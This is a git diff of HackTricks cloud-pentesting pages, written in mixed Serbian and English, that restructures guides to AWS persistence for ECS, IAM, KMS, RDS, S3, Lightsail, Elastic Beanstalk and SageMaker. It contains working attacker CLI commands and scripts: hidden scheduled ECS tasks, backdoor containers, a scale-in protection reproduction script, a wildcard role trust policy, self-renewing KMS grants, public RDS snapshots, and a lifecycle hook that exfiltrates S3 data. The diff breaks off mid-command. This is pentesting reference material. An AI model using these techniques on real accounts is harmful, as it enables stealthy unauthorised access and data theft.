+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md deleted file mode 100644 index d61514218..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ /dev/null @@ -1,93 +0,0 @@ -# AWS - ECS Persistencija - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Sakrivena Periodična ECS Zadatak - -> [!NOTE] -> TODO: Test - -Napadač može kreirati sakriveni periodični ECS zadatak koristeći Amazon EventBridge da **zakazuje izvršenje zlonamernog zadatka periodično**. Ovaj zadatak može vršiti izviđanje, eksfiltrirati podatke ili održavati persistenciju u AWS nalogu. -```bash -# Create a malicious task definition -aws ecs register-task-definition --family "malicious-task" --container-definitions '[ -{ -"name": "malicious-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -} -]' - -# Create an Amazon EventBridge rule to trigger the task periodically -aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" - -# Add a target to the rule to run the malicious ECS task -aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ -{ -"Id": "malicious-ecs-task-target", -"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", -"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", -"EcsParameters": { -"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", -"TaskCount": 1 -} -} -]' -``` -### Backdoor kontejner u postojećoj ECS definiciji zadatka - -> [!NOTE] -> TODO: Test - -Napadač može dodati **neprimetan backdoor kontejner** u postojećoj ECS definiciji zadatka koji se pokreće zajedno sa legitimnim kontejnerima. Backdoor kontejner se može koristiti za persistenciju i izvođenje zlonamernih aktivnosti. -```bash -# Update the existing task definition to include the backdoor container -aws ecs register-task-definition --family "existing-task" --container-definitions '[ -{ -"name": "legitimate-container", -"image": "legitimate-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -}, -{ -"name": "backdoor-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": false -} -]' -``` -### Nedokumentovana ECS Usluga - -> [!NOTE] -> TODO: Test - -Napadač može kreirati **nedokumentovanu ECS uslugu** koja pokreće zlonamernu radnju. Postavljanjem željenog broja radnji na minimum i onemogućavanjem logovanja, postaje teže administratorima da primete zlonamernu uslugu. -```bash -# Create a malicious task definition -aws ecs register-task-definition --family "malicious-task" --container-definitions '[ -{ -"name": "malicious-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -} -]' - -# Create an undocumented ECS service with the malicious task definition -aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md new file mode 100644 index 000000000..bb1cafb4d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md @@ -0,0 +1,152 @@ +# AWS - ECS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Hidden Periodic ECS Task + +> [!NOTE] +> TODO: Testirati + +An attacker can create a hidden periodic ECS task using Amazon EventBridge to **periodično zakazuje izvršavanje malicioznog taska**. Ovaj task može obavljati reconnaissance, exfiltrate data, ili održavati persistence u AWS nalogu. +```bash +# Create a malicious task definition +aws ecs register-task-definition --family "malicious-task" --container-definitions '[ +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} +]' + +# Create an Amazon EventBridge rule to trigger the task periodically +aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" + +# Add a target to the rule to run the malicious ECS task +aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ +{ +"Id": "malicious-ecs-task-target", +"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", +"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", +"EcsParameters": { +"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", +"TaskCount": 1 +} +} +]' +``` +### Backdoor Container u postojećoj ECS task definition + +> [!NOTE] +> TODO: Test + +Napadač može dodati **stealthy backdoor container** u postojeću ECS task definition koja radi pored legitimnih containers. Backdoor container može biti iskorišćen za persistence i izvođenje zlonamernih aktivnosti. +```bash +# Update the existing task definition to include the backdoor container +aws ecs register-task-definition --family "existing-task" --container-definitions '[ +{ +"name": "legitimate-container", +"image": "legitimate-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +}, +{ +"name": "backdoor-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": false +} +]' +``` +### Nedokumentovan ECS servis + +> [!NOTE] +> TODO: Testirati + +Napadač može kreirati **nedokumentovan ECS servis** koji pokreće maliciozan task. Podešavanjem željenog broja tasks na minimum i onemogućavanjem logovanja, teže je administratorima da primete maliciozni servis. +```bash +# Create a malicious task definition +aws ecs register-task-definition --family "malicious-task" --container-definitions '[ +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} +]' + +# Create an undocumented ECS service with the malicious task definition +aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" +``` +### ECS persistencija putem Task Scale-In Protection (UpdateTaskProtection) + +Zloupotrebite ecs:UpdateTaskProtection da sprečite da service tasks budu zaustavljeni usled scale‑in events i rolling deployments. Kontinuiranim produžavanjem zaštite, napadač može održavati dugotrajan task aktivnim (za C2 ili prikupljanje podataka) čak i ako branitelji smanje desiredCount ili objave nove task revisions. + +Koraci za reprodukciju u us-east-1: +```bash +# 1) Cluster (create if missing) +CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null) +[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text) + +# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc) +cat > /tmp/ht-persist-td.json << 'JSON' +{ +"family": "ht-persist", +"networkMode": "awsvpc", +"requiresCompatibilities": ["FARGATE"], +"cpu": "256", +"memory": "512", +"containerDefinitions": [ +{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest", +"command": ["/bin/sh","-c","sleep 864000"]} +] +} +JSON +aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null + +# 3) Create service (use default VPC public subnet + default SG) +VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text) +SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text) +SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text) +aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \ +--task-definition ht-persist --desired-count 1 --launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}" + +# 4) Get running task ARN +TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text) + +# 5) Enable scale-in protection for 24h and verify +aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440 +aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK" + +# 6) Try to scale service to 0 (task should persist) +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 +aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING + +# Optional: rolling deployment blocked by protection +aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment +aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]' + +# 7) Cleanup +aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true +aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true +aws ecs deregister-task-definition --task-definition ht-persist || true +``` +Uticaj: Zaštićeni task ostaje RUNNING uprkos desiredCount=0 i blokira zamene tokom novih deployments, omogućavajući neprimetnu dugotrajnu perzistenciju unutar ECS service. + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md deleted file mode 100644 index 0575e2055..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - EFS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -### Izmenite Politiku Resursa / Sigurnosne Grupe - -Izmenom **politike resursa i/ili sigurnosnih grupa** možete pokušati da zadržite svoj pristup u fajl sistemu. - -### Kreirajte Pristupnu Tačku - -Možete **kreirati pristupnu tačku** (sa root pristupom do `/`) koja je dostupna iz servisa gde ste implementirali **drugog persistencu** da zadržite privilegovan pristup fajl sistemu. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md new file mode 100644 index 000000000..64e15bfcd --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md @@ -0,0 +1,21 @@ +# AWS - EFS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +### Izmenite resource policy / security groups + +Izmenom **resource policy i/ili security groups** možete pokušati da persist your access u file system. + +### Kreirajte Access Point + +Možete **create an access point** (sa root pristupom na `/`) pristupačan sa servisa na kojem ste implementirali **other persistence**, kako biste zadržali privilegovani pristup file system. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md similarity index 56% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md index 7513eeb7e..7dc0ebccd 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md @@ -1,35 +1,35 @@ -# AWS - Elastic Beanstalk Persistence +# AWS - Elastic Beanstalk Persistencija -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Elastic Beanstalk Za više informacija pogledajte: {{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md +../../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Održavanje u Instanci +### Persistencija u instanci -Da bi se održala postojanost unutar AWS naloga, neki **mehanizam postojanosti može biti uveden unutar instance** (cron job, ssh ključ...) tako da napadač može da mu pristupi i ukrade IAM ulogu **akreditiva iz metadata servisa**. +Da bi se održala persistencija unutar AWS naloga, neki **mehanizam za persistenciju može biti ubačen u instancu** (cron job, ssh key...) tako da napadač može pristupiti instanci i ukrasti IAM role **credentials from the metadata service**. -### Backdoor u Verziji +### Backdoor in Version -Napadač bi mogao da ubaci backdoor u kod unutar S3 repozitorijuma tako da uvek izvršava svoj backdoor i očekivani kod. +Napadač može ubaciti backdoor u kod unutar S3 repo tako da on uvek izvršava svoj backdoor i očekivani kod. -### Nova verzija sa backdoor-om +### New backdoored version -Umesto da menja kod na aktuelnoj verziji, napadač bi mogao da implementira novu verziju aplikacije sa backdoor-om. +Umesto menjanja koda u aktuelnoj verziji, napadač može deploy-ovati novu backdoored verziju aplikacije. -### Zloupotreba Prilagođenih Resursnih Lifecycle Hooks +### Abusing Custom Resource Lifecycle Hooks > [!NOTE] > TODO: Test -Elastic Beanstalk pruža lifecycle hooks koji vam omogućavaju da pokrenete prilagođene skripte tokom postavljanja i gašenja instance. Napadač bi mogao da **konfiguriše lifecycle hook da periodično izvršava skriptu koja exfiltrira podatke ili održava pristup AWS nalogu**. +Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. Napadač može **konfigurisati lifecycle hook da periodično izvršava skriptu koja exfiltrates data ili održava pristup AWS nalogu**. ```bash -bashCopy code# Attacker creates a script that exfiltrates data and maintains access +# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv gzip /tmp/data.csv @@ -72,4 +72,4 @@ Fn::GetAtt: # Attacker applies the new environment configuration aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md deleted file mode 100644 index 7e4abfe78..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ /dev/null @@ -1,47 +0,0 @@ -# AWS - IAM Persistencija - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -Za više informacija pristupite: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -### Uobičajena IAM Persistencija - -- Kreirajte korisnika -- Dodajte kontrolisanog korisnika u privilegovanu grupu -- Kreirajte pristupne ključeve (novog korisnika ili svih korisnika) -- Dodelite dodatne dozvole kontrolisanim korisnicima/grupama (priložene politike ili inline politike) -- Onemogućite MFA / Dodajte svoj MFA uređaj -- Kreirajte situaciju sa lancem uloga (više o ovome u nastavku u STS persistenciji) - -### Politike poverenja za backdoor uloge - -Možete dodati backdoor u politiku poverenja kako biste mogli da je preuzmete za spoljašnji resurs koji kontrolišete (ili za sve): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": ["*", "arn:aws:iam::123213123123:root"] -}, -"Action": "sts:AssumeRole" -} -] -} -``` -### Politika zadnjih vrata - -Dajte Administrator dozvole politici koja nije njena poslednja verzija (poslednja verzija treba da izgleda legitimno), a zatim dodelite tu verziju politike kontrolisanom korisniku/grupi. - -### Zadnja vrata / Kreiraj provajdera identiteta - -Ako nalog već veruje u zajedničkog provajdera identiteta (kao što je Github), uslovi poverenja mogu biti pojačani kako bi napadač mogao da ih zloupotrebi. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md new file mode 100644 index 000000000..02801f0ea --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md @@ -0,0 +1,47 @@ +# AWS - IAM Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +### Uobičajene IAM Persistence + +- Kreirajte korisnika +- Dodajte kontrolisanog korisnika u privilegovanu grupu +- Kreirajte access keys (novog korisnika ili svih korisnika) +- Dodelite dodatne dozvole kontrolisanim korisnicima/grupama (attached policies ili inline policies) +- Onemogućite MFA / Dodajte sopstveni MFA uređaj +- Napravite Role Chain Juggling situaciju (više o tome dole u STS persistence) + +### Backdoor Role Trust Policies + +Možete ubaciti backdoor u trust policy kako biste mogli da je assume-ujete za eksterni resurs koji kontrolišete (ili za sve): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": ["*", "arn:aws:iam::123213123123:root"] +}, +"Action": "sts:AssumeRole" +} +] +} +``` +### Backdoor Policy Version + +Dodelite administratorske dozvole policy-ju koja nije u svojoj poslednjoj verziji (poslednja verzija treba da izgleda legitimno), a zatim tu verziju policy-ja dodelite kontrolisanom korisniku/grupi. + +### Backdoor / Create Identity Provider + +Ako nalog već veruje u uobičajenog identity providera (na primer Github), uslovi trust-a mogu se pojačati tako da ih napadač može zloupotrebiti. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md deleted file mode 100644 index f7ae9a0cc..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - KMS Persistencija - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -Za više informacija proverite: - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### Dodeljivanje pristupa putem KMS politika - -Napadač može koristiti dozvolu **`kms:PutKeyPolicy`** da **dodeli pristup** ključa korisniku pod njegovom kontrolom ili čak eksternom nalogu. Proverite [**KMS Privesc stranicu**](../aws-privilege-escalation/aws-kms-privesc.md) za više informacija. - -### Večna Dodela - -Dodele su još jedan način da se principalu daju neka ovlašćenja nad specifičnim ključem. Moguće je dodeliti dodelu koja omogućava korisniku da kreira dodele. Štaviše, korisnik može imati nekoliko dodela (čak i identičnih) nad istim ključem. - -Stoga, moguće je da korisnik ima 10 dodela sa svim ovlašćenjima. Napadač bi trebao stalno pratiti ovo. A ako u nekom trenutku 1 dodela bude uklonjena, treba generisati još 10. - -(Koristimo 10, a ne 2, da bismo mogli da detektujemo da je dodela uklonjena dok korisnik još uvek ima neku dodelu) -```bash -# To generate grants, generate 10 like this one -aws kms create-grant \ ---key-id \ ---grantee-principal \ ---operations "CreateGrant" "Decrypt" - -# To monitor grants -aws kms list-grants --key-id -``` -> [!NOTE] -> Grant može dati dozvole samo iz ovoga: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md new file mode 100644 index 000000000..9dbc28d3b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md @@ -0,0 +1,37 @@ +# AWS - KMS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### Grant pristupa putem KMS policies + +Napadač može iskoristiti dozvolu **`kms:PutKeyPolicy`** da **dodeli pristup** ključu korisniku pod svojom kontrolom ili čak eksternom nalogu. Pogledajte [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) za više informacija. + +### Eternal Grant + +Grants su drugi način da se određenom principalu dodele neke dozvole nad specifičnim ključem. Moguće je dodeliti grant koji omogućava korisniku da kreira grants. Štaviše, korisnik može imati više grants (čak identičnih) nad istim ključem. + +Stoga, moguće je da korisnik ima 10 grants sa svim dozvolama. Napadač bi to trebao stalno pratiti. Ako se u jednom trenutku jedan grant ukloni, treba odmah generisati još 10. + +(Koristimo 10, a ne 2, kako bismo mogli uočiti da je grant uklonjen dok korisnik još uvek ima neki grant) +```bash +# To generate grants, generate 10 like this one +aws kms create-grant \ +--key-id \ +--grantee-principal \ +--operations "CreateGrant" "Decrypt" + +# To monitor grants +aws kms list-grants --key-id +``` +> [!NOTE] +> Grant može da dodeli dozvole samo iz ovoga: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md deleted file mode 100644 index 43df69da6..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ /dev/null @@ -1,33 +0,0 @@ -# AWS - Lightsail Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -### Preuzmite SSH ključeve instance i lozinke za DB - -Verovatno se neće menjati, tako da ih imati je dobra opcija za postojanost - -### Backdoor instance - -Napadač bi mogao dobiti pristup instancama i postaviti backdoor: - -- Koristeći tradicionalni **rootkit** na primer -- Dodajući novi **javnu SSH ključ** -- Izlaganje porta sa port knocking uz backdoor - -### DNS postojanost - -Ako su domeni konfigurisani: - -- Kreirajte poddomen koji usmerava na vašu IP adresu kako biste imali **preuzimanje poddomena** -- Kreirajte **SPF** zapis koji vam omogućava da šaljete **emailove** sa domena -- Konfigurišite **glavnu IP adresu domena na svoju** i izvršite **MitM** od vaše IP adrese do legitimnih - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md new file mode 100644 index 000000000..773d22ceb --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md @@ -0,0 +1,33 @@ +# AWS - Lightsail Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +### Preuzmite Instance SSH keys & DB passwords + +Verovatno se neće menjati, pa je njihovo posedovanje dobra opcija za persistence + +### Backdoor Instances + +Napadač bi mogao dobiti pristup instancama i ubaciti backdoor: + +- Na primer, koristeći tradicionalni **rootkit** +- Dodavanje novog **public SSH key** +- Otvoriti port koristeći port knocking uz backdoor + +### DNS persistence + +Ako su domeni konfigurisani: + +- Kreirajte subdomen koji pokazuje na vašu IP adresu kako biste ostvarili **subdomain takeover** +- Kreirajte **SPF** zapis koji vam omogućava da šaljete **emails** sa domena +- Konfigurišite **main domain IP to your own one** i izvršite **MitM** sa vaše IP adrese prema legitimnim serverima + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md deleted file mode 100644 index 3643de852..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - RDS Persistencija - -{{#include ../../../banners/hacktricks-training.md}} - -## RDS - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-relational-database-rds-enum.md -{{#endref}} - -### Omogućite javni pristup instanci: `rds:ModifyDBInstance` - -Napadač sa ovom dozvolom može **modifikovati postojeću RDS instancu da omogući javni pristup**. -```bash -aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately -``` -### Kreirajte admin korisnika unutar DB - -Napadač može jednostavno **napraviti korisnika unutar DB** tako da čak i ako se lozinka glavnog korisnika izmeni, on **ne gubi pristup** bazi podataka. - -### Učinite snimak javnim -```bash -aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md new file mode 100644 index 000000000..579a1f33b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md @@ -0,0 +1,27 @@ +# AWS - RDS Perzistencija + +{{#include ../../../../banners/hacktricks-training.md}} + +## RDS + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-relational-database-rds-enum.md +{{#endref}} + +### Omogućavanje javnog pristupa instanci: `rds:ModifyDBInstance` + +Napadač sa ovom dozvolom može **izmeniti postojeću RDS instancu kako bi omogućio javni pristup**. +```bash +aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately +``` +### Kreirajte admin korisnika unutar DB + +Napadač može jednostavno **kreirati korisnika unutar DB**, tako da, čak i ako je lozinka master naloga promenjena, on **ne izgubi pristup** bazi podataka. + +### Učinite snapshot javnim +```bash +aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md deleted file mode 100644 index 89306fb49..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ /dev/null @@ -1,25 +0,0 @@ -# AWS - S3 Persistencija - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-s3-athena-and-glacier-enum.md -{{#endref}} - -### KMS Klijentska Enkripcija - -Kada je proces enkripcije završen, korisnik će koristiti KMS API da generiše novi ključ (`aws kms generate-data-key`) i on će **sacuvati generisani enkriptovani ključ unutar metapodataka** datoteke ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) tako da kada dođe do dekripcije, može ponovo da ga dekriptuje koristeći KMS: - -
- -Stoga, napadač bi mogao da dobije ovaj ključ iz metapodataka i dekriptuje ga sa KMS (`aws kms decrypt`) da bi dobio ključ koji je korišćen za enkripciju informacija. Na ovaj način, napadač će imati ključ za enkripciju i ako se taj ključ ponovo koristi za enkripciju drugih datoteka, moći će da ga iskoristi. - -### Korišćenje S3 ACL-a - -Iako su obično ACL-ovi kanti onemogućeni, napadač sa dovoljno privilegija mogao bi da ih zloupotrebi (ako su omogućeni ili ako napadač može da ih omogući) da zadrži pristup S3 kanti. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md new file mode 100644 index 000000000..716e0e7b1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md @@ -0,0 +1,25 @@ +# AWS - S3 Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-s3-athena-and-glacier-enum.md +{{#endref}} + +### KMS Client-Side Encryption + +When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again: + +
+ +Dakle, napadač može dobiti ovaj ključ iz metapodataka i dekriptovati ga pomoću KMS (`aws kms decrypt`) da bi dobio ključ koji je korišćen za enkripciju podataka. Na taj način napadač će posedovati ključ za enkripciju i, ako se taj ključ ponovo koristi za enkriptovanje drugih fajlova, moći će da ga iskoristi. + +### Using S3 ACLs + +Iako su obično ACL-ovi bucketa onemogućeni, napadač sa dovoljnim privilegijama može ih zloupotrebiti (ako su omogućeni ili ako napadač može da ih omogući) da bi zadržao pristup S3 bucketu. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md deleted file mode 100644 index 16988de07..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md +++ /dev/null @@ -1,158 +0,0 @@ -# Aws Sagemaker Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Pregled Tehnika Održavanja - -Ovaj deo opisuje metode za sticanje održavanja u SageMaker-u zloupotrebom Lifecycle Configurations (LCCs), uključujući reverzne shelle, cron poslove, krađu kredencijala putem IMDS-a i SSH backdoor-e. Ovi skripti se izvršavaju sa IAM ulogom instance i mogu da opstanu kroz restartovanje. Većina tehnika zahteva izlazni pristup mreži, ali korišćenje usluga na AWS kontrolnoj ravni može i dalje omogućiti uspeh ako je okruženje u 'VPC-only' režimu. -#### Napomena: SageMaker notebook instance su u suštini upravljane EC2 instance konfigurirane posebno za radne opterećenja mašinskog učenja. - -## Potrebne Dozvole -* Notebook Instances: -``` -sagemaker:CreateNotebookInstanceLifecycleConfig -sagemaker:UpdateNotebookInstanceLifecycleConfig -sagemaker:CreateNotebookInstance -sagemaker:UpdateNotebookInstance -``` -* Studio Aplikacije: -``` -sagemaker:CreateStudioLifecycleConfig -sagemaker:UpdateStudioLifecycleConfig -sagemaker:UpdateUserProfile -sagemaker:UpdateSpace -sagemaker:UpdateDomain -``` -## Postavite konfiguraciju životnog ciklusa na Notebook instancama - -### Primer AWS CLI komandi: -```bash -# Create Lifecycle Configuration* - -aws 